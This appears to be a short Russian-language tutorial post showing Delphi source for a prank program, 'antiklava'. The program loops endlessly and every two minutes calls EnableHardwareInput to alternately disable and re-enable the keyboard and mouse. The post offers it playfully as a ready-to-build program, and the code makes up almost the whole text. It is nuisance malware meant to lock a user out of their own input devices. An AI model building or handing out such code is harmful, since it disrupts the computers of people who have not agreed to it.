Для начала запустите Дельфи, выберите в меню Project--> View Source и наберите вот это:
program antiklava;
uses Windows;
begin
end.
Так, основа готова. Теперь надо добавить ядро программы и объявления переменных:
program antiklava;
uses Windows; { подключение необходимых модулей }
var
klava:boolean; { объявление логической переменной}
begin
klava:=true; { устанавливаем значение переменной }
while true do { начинаем бесконечный цикл }
begin
Yield; { делаем так, чтобы всё не подвисло :)}
Sleep(2*60*1000); { ничего не делаем 2 минуты }
klava:=not klava; { присваиваем переменной противоположное значение }
EnableHardwareInput(klava); { и в зависимости от переменной, отключаем или включаем клаву с мышкой}
end;
end.
Предыдущий вопрос
|
|
Следующий вопрос
by ktima
|
